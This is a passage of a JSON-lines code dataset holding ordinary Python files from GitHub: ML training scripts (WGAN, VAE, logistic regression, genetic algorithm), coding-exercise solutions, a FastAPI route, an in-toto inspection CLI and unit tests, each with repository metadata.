str, backend_id: str\n):\n process = multiprocessing.Process(\n target=bg_build_inference_endpoint,\n args=(token, server, project_id, backend_id)\n )\n process.start()\n return JSONResponse(\n content=\"Creating your backend\",\n status_code=200\n )\n\n\n@router.get(\"/\", response_description=\"List ML endpoints by user\")\nasync def list_ml_backend(\n token: str, server: str\n):\n api = LabelStudioAPI(url=server)\n api.set_token(token)\n user = api.get_user()['email']\n\n results = service_service.get_services_by_user(user)\n\n results = [i.__dict__ for i in results]\n for i in results:\n i.pop(\"_sa_instance_state\")\n i['created_at'] = i['created_at'].strftime(\"%m/%d/%Y, %H:%M:%S\")\n\n return JSONResponse(\n content=results,\n status_code=200\n )\n","repo_name":"theis-with-ts-n-nhung/ssl-backend","sub_path":"src/routes/inference_endpoint.py","file_name":"inference_endpoint.py","file_ext":"py","file_size_in_byte":4578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18616797359","text":"class Node(object):\n pass\n\n\ndef index_random(pr: list) -> int:\n \"\"\"\n 随机一个根据概率的索引\n :param pr:\n :return: 索引\n \"\"\"\n import random\n r = random.random()\n for i in range(len(pr)):\n if pr[i] > r:\n return i\n return len(pr) - 1\n\n\ndef alive(group: list, fit_score: list, alive_num: int) -> list:\n \"\"\"\n 选择存活个体\n :param group: 当前种群\n :param fit_score: 种群个体的适应度得分\n :param alive_num: 能够存活的个体个数\n :return: 存活个体集合\n \"\"\"\n pr = fit_score\n a = []\n while len(a) != alive_num:\n s = sum(pr) + 0.000000001\n pr = [p / s for p in pr]\n for i in range(1, len(pr)):\n pr[i] += pr[i - 1]\n index = index_random(pr)\n a.append(group[index])\n group = [group[i] for i in range(len(group)) if i != index]\n pr = [pr[i] for i in range(len(pr)) if i != index]\n return a\n\n\ndef generate_next(group: list, fit_score: list, n: int, crossover) -> list:\n \"\"\"\n 产生新的后代\n :param group: 双亲\n :param fit_score: 种群个体的适应度得分\n :param n: 产生后代个数\n :param crossover: 节点交叉函数\n :return: 产生的后代\n \"\"\"\n pr = fit_score\n a = []\n while len(a) != n:\n s = sum(pr) + 0.00000000001\n pr = [p / s for p in pr]\n for i in range(1, len(pr)):\n pr[i] += pr[i - 1]\n index = index_random(pr)\n a.append(group[index])\n group = [group[i] for i in range(len(group)) if i != index]\n pr = [pr[i] for i in range(len(pr)) if i != index]\n for i in range(len(a) - 1):\n a[i], a[i + 1] = crossover(a[i], a[i + 1])\n return a\n\n\nclass Model(object):\n def __init__(self, n: int, replace: float, mutation: float):\n \"\"\"\n 遗传算法模型\n :param n: 种群中个体的数量\n :param replace: 每次淘汰的比例(0.-1.)\n :param mutation: 种群内个体变异的比例(0.-1.)\n \"\"\"\n self.n = n\n self.replace = replace\n self.mutation = mutation\n\n def search(self, generator, crossover, mutation, fitness, fitness_threshold: float) -> Node:\n \"\"\"\n 搜索假设\n :param generator: 种群初始化函数 lambda n:int -> list of Node\n :param crossover: 产生后代函数 lambda Node,Node -> Node,Node\n :param mutation: 变异函数 lambda Node -> Node\n :param fitness: 个体适应度函数 lambda Node -> float\n :param fitness_threshold: 适应度阈值,当有个体的适应度达到此阈值时,训练结束\n :return: 满足适应度阈值的节点\n \"\"\"\n # 初始化种群\n import numpy as np\n group = generator(self.n)\n while True:\n # 评估每一个个体的适应度\n fit_score = []\n for unit in group:\n fit_score.append(fitness(unit))\n if max(fit_score) < fitness_threshold:\n # 如果没有产生目标个体\n # 按照概率公式pr选择哪些个体活到下一代,得分越高,活着的概率越大\n alive_group = alive(group, fit_score, int(self.n * (1 - self.replace)))\n # 根据概率公式pr选择n*r个双亲,产生n*r个后代\n next_generation = generate_next(group, fit_score, int(self.n * self.replace), crossover)\n # 生成新的种群\n group = alive_group + next_generation\n # 根据变异系数选择变异个体随机变异\n for i in range(len(group)):\n if np.random.random() < self.mutation:\n group[i] = mutation(group[i])\n else:\n # 返回适应度最高的个体\n return group[int(np.argmax(fit_score))]\n","repo_name":"cccxm/deep-learning","sub_path":"module/genetic/_genetic.py","file_name":"_genetic.py","file_ext":"py","file_size_in_byte":3877,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"26886572810","text":"#==================================================\n#==> Title: search-in-rotated-sorted-array-ii\n#==> Author: Zhang zhen \n#==> Email: hustmatnoble.gmail.com\n#==> GitHub: https://github.com/MatNoble\n#==> Date: 1/22/2021\n#==================================================\n\n\"\"\"\nhttps://leetcode-cn.com/problems/search-in-rotated-sorted-array-ii/\n\"\"\"\n\nclass Solution:\n def search(self, nums, target):\n left, right = 0, len(nums)-1\n while left <= right:\n mid = left + (right-left)//2\n if nums[mid] == target: return True\n while left < mid and nums[left] == nums[mid]: left += 1\n if nums[left] <= nums[mid]:\n if nums[left] <= target < nums[mid]:\n right = mid-1\n else:\n left = mid+1\n else:\n if nums[mid] < target <= nums[right]:\n left = mid+1\n else:\n right = mid-1\n return False\n\nmat = Solution()\nnums = [1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1]\ntarget = 2\n\nnums = [2,5,6,0,0,1,2]\ntarget = 0\n\nnums = [2,5,6,0,0,1,2]\ntarget = 3\nmat.search(nums, target)\n","repo_name":"MatNoble/leetcode","sub_path":"LeetCodeSolutions/081.py","file_name":"081.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"14039256547","text":"import cv2, pytesseract\nimport numpy as np\nfrom PIL import Image\n\n#initializing\nimg = cv2.imread(\"IMG-2012.jpg\")\nimg = cv2.resize(img, (int(480*2), int(640*2)))\n# write code here\nGrayImg = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\nBlurredFrame = cv2.GaussianBlur(GrayImg, (5, 5), 1)\nCannyFrame = cv2.Canny(BlurredFrame, 190, 190)\ncontours, _ = cv2.findContours(CannyFrame, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\nContourFrame = img.copy()\nContourFrame = cv2.drawContours(ContourFrame, contours, -1, (255, 0, 255), 4)\nCornerFrame = img.copy()\nmaxArea = 0\nbiggest = []\nfor i in contours :\n area = cv2.contourArea(i)\n if area > 500 :\n peri = cv2.arcLength(i, True)\n edges = cv2.approxPolyDP(i, 0.02*peri, True)\n if area > maxArea and len(edges) == 4 :\n biggest = edges\n maxArea = area\nif len(biggest) != 0 :\n CornerFrame = cv2.drawContours(CornerFrame, biggest, -1, (255, 0, 255), 25)\n# resizing\nimg = cv2.resize(img, (480, 640))\nGrayImg = cv2.resize(GrayImg, (480, 640))\nBlurredFrame = cv2.resize(BlurredFrame, (480, 640))\nCannyFrame = cv2.resize(CannyFrame, (480, 640))\nContourFrame = cv2.resize(ContourFrame, (480, 640))\nCornerFrame = cv2.resize(CornerFrame, (480, 640))\n#displaying\ncv2.imwrite(\"img.png\", img)\ncv2.imwrite(\"GrayImg.png\", GrayImg)\ncv2.imwrite(\"BlurredFrame.png\", BlurredFrame)\ncv2.imwrite(\"CannyFrame.png\", CannyFrame)\ncv2.imwrite(\"ContourFrame.png\", ContourFrame)\ncv2.imwrite(\"CornerFrame.png\", CornerFrame)\ncv2.waitKey(0)\n","repo_name":"lorenzoreyes/Datafa","sub_path":"detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8408395220","text":"from absl.testing import absltest\nfrom fedjax.core import serialization\nimport numpy as np\nimport numpy.testing as npt\n\n\nclass SerializationTest(absltest.TestCase):\n\n def test_dict(self):\n original = {\n 'int32':\n np.arange(4, dtype=np.int32).reshape([2, 2]),\n 'float64':\n -np.arange(4, dtype=np.float64).reshape([1, 4]),\n 'bytes':\n np.array([b'a', b'bc', b'def'], dtype=object).reshape([3, 1]),\n }\n output = serialization.msgpack_deserialize(\n serialization.msgpack_serialize(original))\n self.assertCountEqual(output, original)\n self.assertEqual(output['int32'].dtype, np.int32)\n npt.assert_array_equal(output['int32'], original['int32'])\n self.assertEqual(output['float64'].dtype, np.float64)\n npt.assert_array_equal(output['float64'], original['float64'])\n self.assertEqual(output['bytes'].dtype, object)\n npt.assert_array_equal(output['bytes'], original['bytes'])\n\n def test_nested_list(self):\n original = [\n np.arange(4, dtype=np.int32).reshape([2, 2]),\n [\n -np.arange(4, dtype=np.float64).reshape([1, 4]),\n [\n np.array([b'a', b'bc', b'def'],\n dtype=object).reshape([3, 1]), []\n ]\n ]\n ]\n output = serialization.msgpack_deserialize(\n serialization.msgpack_serialize(original))\n int32_array, rest = output\n self.assertEqual(int32_array.dtype, np.int32)\n npt.assert_array_equal(int32_array, original[0])\n float64_array, rest = rest\n self.assertEqual(float64_array.dtype, np.float64)\n npt.assert_array_equal(float64_array, original[1][0])\n bytes_array, rest = rest\n self.assertEqual(bytes_array.dtype, object)\n npt.assert_array_equal(bytes_array, original[1][1][0])\n self.assertEqual(rest, [])\n\n\nif __name__ == '__main__':\n absltest.main()\n","repo_name":"google/fedjax","sub_path":"fedjax/core/serialization_test.py","file_name":"serialization_test.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":244,"dataset":"github-code","pt":"52"} +{"seq_id":"8623678517","text":"# defaultdict\n# The defaultdict is a specialized dictionary found in the collections module. (It is a subclass of the dict type).\n\n# Write a Python function that will create and return a dictionary from another dictionary, but sorted by value.\n# You can assume the values are all comparable and have a natural sort order.\n#\n# composers = {'Johann': 65, 'Ludwig': 56, 'Frederic': 39, 'Wolfgang': 35}\n#\n# instead of using a dictionary comprehension, we can simply use the dict()\n# function to create a dictionary from the sorted tuples!\n\ncomposers = {'Johann': 65, 'Ludwig': 56, 'Frederic': 39, 'Wolfgang': 35}\n\ndef sort_dict_by_value(d):\n d = {k: v\n for k, v in sorted(d.items(), key=lambda el: el[1])}\n return d\n\nprint(sort_dict_by_value(composers))\n\ndef sort_dict_by_value(d):\n return dict(sorted(d.items(), key=lambda el: el[1]))\n\nsort_dict_by_value(composers)\n\n\n# Given two dictionaries, d1 and d2, write a function that creates a dictionary that contains only the keys\n# common to both dictionaries, with values being a tuple containg the values from d1 and d2.\n# (Order of keys is not important).\nd1 = {'a': 1, 'b': 2, 'c': 3, 'd': 4}\nd2 = {'b': 20, 'c': 30, 'y': 40, 'z': 50}\n\ndef intersect(d1, d2):\n d1_keys = d1.keys()\n d2_keys = d2.keys()\n keys = d1_keys & d2_keys\n d = {k: (d1[k], d2[k]) for k in keys}\n return d\n\nintersect(d1, d2)\n\n# You have text data spread across multiple servers.\n# Each server is able to analyze this data and return a dictionary that contains words and their frequency.\n# Your job is to combine this data to create a single dictionary that contains all the words and their combined\n# frequencies from all these data sources. Bonus points if you can make your dictionary sorted by frequency\n# (highest to lowest).\n# For example, you may have three servers that each return these dictionaries:\n#\n# d1 = {'python': 10, 'java': 3, 'c#': 8, 'javascript': 15}\n# d2 = {'java': 10, 'c++': 10, 'c#': 4, 'go': 9, 'python': 6}\n# d3 = {'erlang': 5, 'haskell': 2, 'python': 1, 'pascal': 1}\n","repo_name":"syurskyi/Python_Topics","sub_path":"018_dictionaries/examples/dictionary_014.py","file_name":"dictionary_014.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"45689575876","text":"import torch as t\nfrom torch import nn\nfrom torch.autograd import Variable\nfrom torch.optim import RMSprop\nfrom torchvision import transforms\nfrom torchvision.utils import make_grid\nfrom torchvision.datasets import CIFAR10\nimport torch.backends.cudnn as cudnn\nimport torch.utils.data as Data\nimport matplotlib.pyplot as plt\nimport torchvision\nimport os\nEpoch=500\nBATCH_SIZE=32\nLR=0.00005\nnd=100 #noise dimension\nimage_size=64 #image size\nchannel=3 #image channel of MNIST\ngc=64 #generate channel\ndc=64 #discriminator channel\n\n#print(\"is it run?\")\n\ngnet=nn.Sequential(\n nn.ConvTranspose2d(nd,gc*8,4,1,0,bias=False),\n nn.BatchNorm2d(gc*8),\n nn.ReLU(True),\n\n nn.ConvTranspose2d(gc*8,gc*4,4,2,1,bias=False),\n nn.BatchNorm2d(gc*4),\n nn.ReLU(True),\n\n nn.ConvTranspose2d(gc*4,gc*2,4,2,1,bias=False),\n nn.BatchNorm2d(gc*2),\n nn.ReLU(True),\n\n nn.ConvTranspose2d(gc*2,gc,4,2,1,bias=False),\n nn.BatchNorm2d(gc),\n nn.ReLU(True),\n\n nn.ConvTranspose2d(gc,channel,4,2,1,bias=False),\n nn.Tanh()\n)\ndnet=nn.Sequential(\n nn.Conv2d(channel,dc,4,2,1,bias=False),\n nn.LeakyReLU(0.2,inplace=True),\n\n nn.Conv2d(dc,dc*2,4,2,1,bias=False),\n nn.BatchNorm2d(dc*2),\n nn.LeakyReLU(0.2,inplace=True),\n\n nn.Conv2d(dc*2,dc*4,4,2,1,bias=False),\n nn.BatchNorm2d(dc*4),\n nn.LeakyReLU(0.2,inplace=True),\n\n nn.Conv2d(dc*4,dc*8,4,2,1,bias=False),\n nn.BatchNorm2d(dc*8),\n nn.LeakyReLU(0.2,inplace=True),\n\n nn.Conv2d(dc*8,1,4,1,0,bias=False),\n #nn.Sigmoid(),\n)\n\ntransform=transforms.Compose([transforms.Resize(image_size),transforms.ToTensor(),transforms.Normalize([0.5]*3,[0.5]*3)])\n\nDOMNLOAD=False\n\nif not(os.path.exists('./cifar10/')) or not os.listdir('./cifar10/'):\n DOWNLOAD=True\ndataset=CIFAR10(root='cifar10/',transform=transform,download=DOWNLOAD)\n\ntrain_loader=Data.DataLoader(dataset=dataset,batch_size=BATCH_SIZE,shuffle=True,num_workers=1)\n\ncudnn.benchmark=True\n\ndef weights_init(m):\n classname=m.__class__.__name__\n if classname.find('Conv')!=-1:\n m.weight.data.normal_(0.0,0.02)\n elif classname.find('BatchNorm')!=-1:\n m.weight.data.normal_(1.0,0.02)\n m.bias.data.fill_(0)\n \ngnet.apply(weights_init)\ndnet.apply(weights_init)\n\n'''DOWNLOAD_MNIST=False\nif not(os.path.exists('./mnist/')) or not os.listdir('./mnist/'):\n DOWNLOAD_MNIST=True\ntrain_data=torchvision.datasets.MNIST(\n root='./mnist/',\n train=True,\n transform=torchvision.transforms.ToTensor(),\n download=DOWNLOAD_MNIST,\n)\ntrain_loader=Data.DataLoader(dataset=train_data,batch_size=BATCH_SIZE,shuffle=True)'''\n\nopt_G=t.optim.RMSprop(gnet.parameters(),lr=LR)\nopt_D=t.optim.RMSprop(dnet.parameters(),lr=LR)\n\nfix_noise=Variable(t.FloatTensor(BATCH_SIZE,nd,1,1).normal_(0,1))\nfix_noise=fix_noise.cuda()\ngnet.cuda()\ndnet.cuda()\n'''for epoch in range(Epoch):\n for step,b_x in enumerate(train_loader,0):\n real,_=b_x\n # print(b_x.shape)\n real=Variable(real)\n real=real.cuda()\n # print(real.size,real.size(0))\n noise=t.randn(real.size(0),nd,1,1)\n noise=Variable(noise)\n noise=noise.cuda()\n \n for parm in dnet.parameters():\n parm.data.clamp_(-0.01,0.01)\n\n G_paintings=gnet(noise)\n\n # print(G_paintings.shape)\n prob_Gpaintings=dnet(G_paintings)\n prob_Real = dnet(real)\n D_loss = t.mean(prob_Real) - t.mean( prob_Gpaintings)\n opt_D.zero_grad()\n D_loss.backward(retain_graph=True)\n opt_D.step()\n\n if step%5==0:\n G_loss=-t.mean(prob_Gpaintings)\n opt_G.zero_grad()\n G_loss.backward()\n opt_G.step()\n print(epoch)'''\ninput=t.FloatTensor(BATCH_SIZE,3,image_size,image_size)\ngen_iterations=0\none=t.FloatTensor([1])\nmone=one*-1\none=one.cuda()\nmone=mone.cuda()\ninput=t.FloatTensor(BATCH_SIZE,3,image_size,image_size)\nnoise=t.FloatTensor(BATCH_SIZE,nd,1,1)\ninput=input.cuda()\nnoise=noise.cuda()\n#dnet.load_state_dict(t.load('epoch_wnetd.pth'))\n#gnet.load_state_dict(t.load('epoch_wnetg.pth'))\nfor epoch in range(Epoch):\n data_iter=iter(train_loader)\n i=0\n while i 96 else char - 38\n\nsum = 0\nfor i in range(0, len(input), 3):\n group = input[i:i+3]\n for char in group[0]:\n if group[1].find(char) != -1 and group[2].find(char) != -1:\n sum += get_char_priority(char)\n break\n \n\nresult = sum\nprint(\"Result: {}\".format(result))\n","repo_name":"kibartas/AOC","sub_path":"kibartas/2022/03/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6631012597","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.io as scio #读取mat文件\nimport scipy.optimize as opt\n\ndata = scio.loadmat('ex3data1.mat')\nx = data['X']\ny = data['y']\n\n\n'''数据可视化'''\ns = np.random.permutation(x) #随机重排,但不打乱x中的顺序\na = s[:100,:] #选前100行,(100, 400)\n\n#定义可视化函数\ndef displayData(x):\n plt.figure()\n n = np.round(np.sqrt(x.shape[0])).astype(int)\n #定义10*10的子画布\n fig, a = plt.subplots(nrows=n, ncols=n, sharex=True, sharey=True, figsize=(6, 6))\n #在每个子画布中画出一个数字\n for row in range(n):\n for column in range(n):\n a[row, column].imshow(x[10 * row + column].reshape(20,20).T, cmap='gray')\n plt.xticks([]) #去掉坐标轴\n plt.yticks([]) \n plt.show()\n\ndisplayData(a)\n\n\n'''计算代价函数和梯度'''\n#sigmoid函数\ndef sigmoid(x):\n return 1/(1+np.exp(-x))\n\n#原本代价函数\ndef cost_func(theta, x, y):\n m = y.size\n return -1/m*(y@np.log(sigmoid(x@theta))+(1-y)@np.log(1-sigmoid(x@theta)))\n\n#正则化的代价函数,不惩罚第一项theta[0]\ndef cost_reg(theta, x, y, l=0.1):\n m = y.size\n theta_ = theta[1:] #选取第二项以后的\n return cost_func(theta, x, y) + l/(2*m)*np.sum(theta_*theta_)\n\n#原本的梯度\ndef gradient_func(theta, x, y):\n m = y.size\n return 1/m*((sigmoid(x@theta))-y).T@x\n\n#正则化的的梯度,不惩罚第一项theta[0]\ndef gradient_reg(theta, x, y, l=0.1):\n theta_ = l/(y.size)*theta\n theta_[0] = 0 #第一项不惩罚设为0\n return gradient_func(theta, x, y) + theta_\n\n\n'''一对多分类'''\ndef one_vs_all(x, y, l, K=10):\n all_theta = np.zeros((x.shape[1], K)) #应该是(10, 401)\n for i in range(K):\n iteration_y = np.array([1 if j==i+1 else 0 for j in y]) #第0列到第9列分别对应类别1到10\n p = opt.fmin_ncg(f=cost_reg, fprime=gradient_reg, x0=all_theta[:, i:i+1], args=(x, iteration_y), maxiter=400)\n all_theta[:, i:i+1] = np.mat(p).T\n return all_theta\n \n#为x添加了一列常数项 1 ,以计算截距项(常数项)\nx = np.column_stack((np.ones(x.shape[0]), x))\nlmd = 0.1\nall_theta = one_vs_all(x, y, l=lmd)\n\n\n'''预测与评价'''\n#预测的概率矩阵 (5000, 10)\ndef probability(x, theta):\n return sigmoid(x@theta)\n\n#预测的y值\ndef predict(prob):\n y_predict = np.zeros((prob.shape[0],1))\n for i in range(prob.shape[0]):\n #查找第i行的最大值并返回它所在的位置,再加1就是对应的类别\n y_predict[i] = np.unravel_index(np.argmax(prob[i,:]), prob[i,:].shape)[0]+1\n return y_predict\n \n#精度\ndef accuracy(y_predict, y=y):\n m = y.size\n count = 0\n for i in range(y.shape[0]):\n if y_predict[i] == y[i]:\n j = 1 \n else:\n j = 0\n count = j+count #计数预测值和期望值相等的项\n return count/m\n \n \nprob = probability(x, all_theta)\ny_predict = predict(prob)\naccuracy(y_predict)\nprint ('accuracy = {0}%'.format(accuracy(y_predict) * 100))\n\n\n","repo_name":"Tlwhisper/wed_machine_learning_practice","sub_path":"ex3.1_multi_class_by_logic/Multi_class_Classification.py","file_name":"Multi_class_Classification.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"24087732807","text":"import os\nimport sys\nimport argparse\nimport in_toto.log\nfrom in_toto.models.link import Link as link_import\nimport securesystemslib.exceptions\n\n\ndef inspect_byproducts(link, type, operator, input_string):\n \"\"\"\n \n A function which performs the inspection as described above depending on\n various arguments.\n\n \n link:\n the path to the link file\n\n std:\n whether to check stdout or stderr field\n\n operator:\n is | is not | contains | contains not\n\n input_string:\n the string to be checked\n\n \n Raises KeyError, in case the field corresponding to the key\n in the dictionary is empty\n\n \n Boolean\n \"\"\"\n\n imported_link = link_import.read_from_file(link)\n\n std_out_err = imported_link.byproducts[type]\n\n if operator == 'is':\n if std_out_err == input_string:\n return True\n\n elif operator == 'is-not':\n if std_out_err != input_string:\n return True\n\n elif operator == 'contains':\n if std_out_err.find(input_string) != -1:\n return True\n\n elif operator == 'contains-not':\n if std_out_err.find(input_string) == -1:\n return True\n else:\n raise Exception(\n \"Invalid operator {}. Valid operators: is | is-not | contains | \"\n \"contains-not\".format(operator))\n\n return False\n\n\ndef parse_args():\n \"\"\"\n \n A function which parses the user supplied arguments.\n\n \n None\n\n \n None\n\n \n Parsed arguments (args object)\n \"\"\"\n parser = argparse.ArgumentParser(\n description=\"Inspects the byproducts of a step\")\n\n in_toto_args = parser.add_argument_group(\"in-toto-inspection options\")\n\n in_toto_args.add_argument(\"-l\", \"--link\", type=str, required=True,\n help=\"Path to the link file to be inspected\",\n metavar=\"\")\n\n in_toto_args.add_argument(\"-t\", \"--type\", choices=['stdout', 'stderr'],\n type=str, required=True, help=\"Type of \"\n \"byproduct to inspect (stdout | stderr\")\n\n in_toto_args.add_argument(\"-o\", \"--operator\", choices=['is', 'is-not',\n 'contains', 'contains-not'], type=str,\n required=True, help=\"whether \"\n \"stdout or stderr is, is not,\"\n \"contains, contains not, the input string\")\n\n in_toto_args.add_argument(\"string\", type=str,\n help=\"The string to compare with the specified \"\n \"byproduct in the specified link file\",\n metavar=\"\")\n\n args = parser.parse_args()\n args.operator = args.operator.lower()\n args.type = args.type.lower()\n\n return args\n\n\ndef main():\n \"\"\"\n First calls parse_args() to parse the arguments and then calls\n inspect_byproducts to inspect the byproducts\n \"\"\"\n args = parse_args()\n try:\n if inspect_byproducts(args.link, args.type, args.operator, args.string):\n sys.exit(0)\n else:\n sys.exit(1)\n except Exception as e:\n print('The following error occured', e)\n sys.exit(2)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"in-toto/in-toto-inspections","sub_path":"inspect_byproducts.py","file_name":"inspect_byproducts.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"35615248898","text":"from nn_ols import nn_ols\nimport pandas as pd\n\ndf = pd.read_csv(\"ingredients_matrix.csv\")\n\nfor ingredient in df.columns[1:]:\n x = df.drop(['Row Labels', ingredient], axis=1,)\n y = df[ingredient]\n trained_model = nn_ols(x,y)\n print(trained_model)\n print(f\"Number of non-zero coefficients: {trained_model.non_zero_ingredients}\")\n print(f\"Weights: {trained_model.weights}\")\n","repo_name":"JudeWells/non_negative_OLS_keras","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"4309187524","text":"import numpy as np\nfrom torch.autograd import Variable\nimport torch\nfrom torch import nn\nimport sys\nsys.path.append(\"../tsy935/RubinLab_neurotranslate_eeg-master/eeg/data/\")\nfrom data_loader import SeizureDataset\nimport torchvision.models as models\n\nclass Unflatten(nn.Module):\n def __init__(self):\n super(Unflatten, self).__init__()\n\n def forward(self, x):\n #converts 1d to 3\n # assert(((x.shape[1] / 10) ** .5 % 1) == 0), \"Input not divisible by three and perfect square\"\n # width = x.shape[1] // 3\n x = x.view(x.shape[0], 10, 10, 10)\n return x\n\nclass FeaturesToFeatures(nn.Module):\n def __init__(self, pretrained_encoder=True):\n super(FeaturesToFeatures, self).__init__()\n\n self.fc2_a = nn.Linear(1000, 1000) \n self.fc2_b = nn.Linear(1000, 1000)\n\n self.encoder = models.squeezenet1_1(pretrained=pretrained_encoder)\n\n def create_gen_conv_block(c_in, c_out, kernel_size, stride, activation=\"ReLU\"):\n if activation == \"ReLU\":\n return nn.Sequential(\n nn.ConvTranspose2d(c_in, c_out, kernel_size=kernel_size, stride=stride),\n nn.LeakyReLU(0.2)\n )\n if activation is None:\n return nn.Sequential(\n nn.ConvTranspose2d(c_in, c_out, kernel_size=kernel_size, stride=stride),\n\n )\n\n self.decoder = nn.Sequential(\n nn.Linear(1000, 1000), # # 1083 so unflattenable\n Unflatten(),\n create_gen_conv_block(10, 8, 2, 1),\n create_gen_conv_block(8, 8, 3, 1),\n create_gen_conv_block(8, 8, 3, 1),\n create_gen_conv_block(8, 6, 3, 1),\n create_gen_conv_block(6, 6, 3, 1),\n create_gen_conv_block(6, 6, 3, 1),\n create_gen_conv_block(6, 4, 3, 1),\n create_gen_conv_block(4, 4, 3, 1),\n create_gen_conv_block(4, 3, 5, 2),\n create_gen_conv_block(3, 3, 6, 2),\n create_gen_conv_block(3, 3, 6, 2, activation=None),\n nn.ReLU()\n )\n \n def encode(self, x):\n conv = self.encoder(x)\n h1 = conv # possibly add hidden Linear\n self.h1 = h1\n return self.fc2_a(h1), self.fc2_b(h1)\n\n def decode(self, x):\n transposed_conv = self.decoder(x)\n return transposed_conv\n\n # def reparameterize(self, mu, logvar):\n # std = logvar.mul(0.5).exp_()\n # if torch.cuda.is_available():\n # eps = torch.cuda.FloatTensor(std.size()).normal_()\n # else:\n # eps = torch.FloatTensor(std.size()).normal_()\n # esp = torch.randn(*mu.size())\n # eps = Variable(eps)\n # z = eps.mul(std).add_(mu)\n # # z = mu + std * esp\n # return z\n def reparameterize(self, mu, logvar):\n std = torch.exp(0.5*logvar)\n eps = torch.randn_like(std)\n return mu + eps*std\n\n def forward(self, input):\n mu, logvar = self.encode(input)\n z = self.reparameterize(mu, logvar)\n out = self.decode(z)\n\n return out, mu, logvar\n\n def generate(self, z):\n out = self.decode(z)\n return out\n\nif __name__ == \"__main__\":\n model = FeaturesToFeatures()\n model = model.cuda()\n # dataset = SeizureDataset()\n x = torch.randn((4, 3, 224, 224)).cuda()\n # z, _ = model.encode(x)\n # x_hat = model.decode(z)\n # print(x_hat.shape)\n # print(model.encode(x)[0].shape)\n print(model.forward(x)[0].shape)\n # x_t = dataset.getSources(0)\n # x_t = np.random.rand(4, 7498, 44)\n # x_t = torch.from_numpy(x_t).type(torch.FloatTensor)\n # out, mu, logvar = model(s_t)\n # print(out.shape)\n","repo_name":"DanielLongo/eegML","sub_path":"VAE/features_to_features_model.py","file_name":"features_to_features_model.py","file_ext":"py","file_size_in_byte":3694,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"52"} +{"seq_id":"23982841462","text":"import torch\n\nx_data = [1.0, 2.0, 3.0] # x数据集\ny_data = [2.0, 4.0, 6.0] # y数据集\n\nw = torch.Tensor([1.0]) # 权重的初始化,w的值只有一个,为1.0\nw.requires_grad = True # 说明w是需要计算梯度的\n\ndef foreward(x) :\n '''\n :param\n y_hat = w * x\n x: 给的训练样本\n :return:\n w * x: 前导算法推出y_hat\n '''\n return w * x\n\ndef loss(x, y) :\n '''\n :param\n loss = (y_hat - y)^2\n x: 训练样本\n y: 真实值\n y_pred: 预测的y_hat\n loss: 单例的损失函数值\n :return:\n loss: 单例的损失函数值\n '''\n y_pred = foreward(x)\n loss = pow((y_pred - y), 2)\n return loss\n\nprint(\"predict (before training)\", 4, foreward(4).item())\n\nfor epoch in range(100) :\n for x, y in zip(x_data, y_data) :\n loss_val = loss(x, y) # 每一个样本的损失函数,此时的loss是一个张量,也就是计算图\n loss_val.backward() # 反向传播,求出链路上的所有梯度,并且自动存储在对应变量中\n print(\"\\tgrad: \", x, y, w.grad.item()) # w.grad就是保存的梯度, grad得到的是一个tensor\n w.data = w.data - 0.01 * w.grad.data # w.grad.data才是保存的值,使用item的目的是为了防止产生张量,使其一直是标量\n w.grad.data.zero_() #将权重的所有梯度清零,在每一次更新之后都需要清零\n print(\"progress: \", epoch, loss_val.item())\nprint(\"predict (after training)\", 4, foreward(4).item())\n\n\n","repo_name":"ChenMiaoi/codeProgram","sub_path":"python/deepinglearning/Pytorch/Liner Model/ByTorch.py","file_name":"ByTorch.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"40628583070","text":"import pytest\n\nfrom bookmarks.dao.bookmarks_dao import BookmarksDAO\n\n\n@pytest.fixture()\ndef bookmarks_dao():\n bookmarks_dao = BookmarksDAO()\n return bookmarks_dao\n\n\nclass TestBookmarks:\n\n def test_load_from_json(self, bookmarks_dao):\n\n \"\"\" тестрирования загрузки всех постов из закладок\"\"\"\n\n bookmarks = bookmarks_dao.load_from_json()\n expected_keys = {\"poster_name\", \"poster_avatar\", \"pic\", \"content\", \"views_count\", \"likes_count\", \"pk\"}\n\n for i in range(0, len(bookmarks)):\n\n assert type(bookmarks) == list, \"json файл содержит не список\"\n assert len(bookmarks) > 0, \"список постов пустой\"\n assert bookmarks[i].keys() == expected_keys, \"ключи в файле не соответствуют ожидаемым\"\n\n @pytest.mark.parametrize(\"post_id\", (1, 2, 3))\n def test_add_bookmark(self, post_id, bookmarks_dao):\n\n \"\"\" тестрирования добавления постов в закладки\"\"\"\n\n bookmark = bookmarks_dao.add_bookmark(post_id)\n expected_keys = {\"poster_name\", \"poster_avatar\", \"pic\", \"content\", \"views_count\",\n \"likes_count\", \"pk\"}\n\n assert type(bookmark) == dict, \"json файл содержит не список\"\n assert bookmark.keys() == 